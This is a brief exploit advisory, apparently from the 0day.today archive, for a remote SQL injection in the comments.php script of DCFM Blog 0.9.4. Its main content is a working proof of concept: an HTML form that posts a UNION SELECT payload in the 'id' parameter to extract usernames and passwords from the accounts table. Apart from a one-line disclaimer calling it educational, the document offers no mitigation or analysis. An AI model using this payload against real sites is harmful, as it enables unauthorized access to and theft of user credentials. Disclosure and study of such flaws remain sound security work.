DCFM Blog 0.9.4 (comments) Remote SQL Injection Vulnerability

=============================================================
DCFM Blog 0.9.4 (comments) Remote SQL Injection Vulnerability
=============================================================



Title =======:: DCFM Blog 0.9.4 (comments) Remote SQL Injection Vulnerability

ScriptName ==:: DCFM Blog

Download ====:: http://nchc.dl.sourceforge.net/sourceforge/dcfm-blog/blog_files_0-9-4.zip


______________________
[SQL Injection]

- {comments.php} -

<form action="http://localhost/dcfmblog/comments.php" method="post">
  <input type="text" name="id" size=50 value="-99' union select 0,username,password from accounts where id=1/*">
  <input type="submit" value=" send ">
</form>

______
[NOTE]

!! This is just for educational purposes, DO NOT use for illegal. !!



#  0day.today [2018-02-06]  #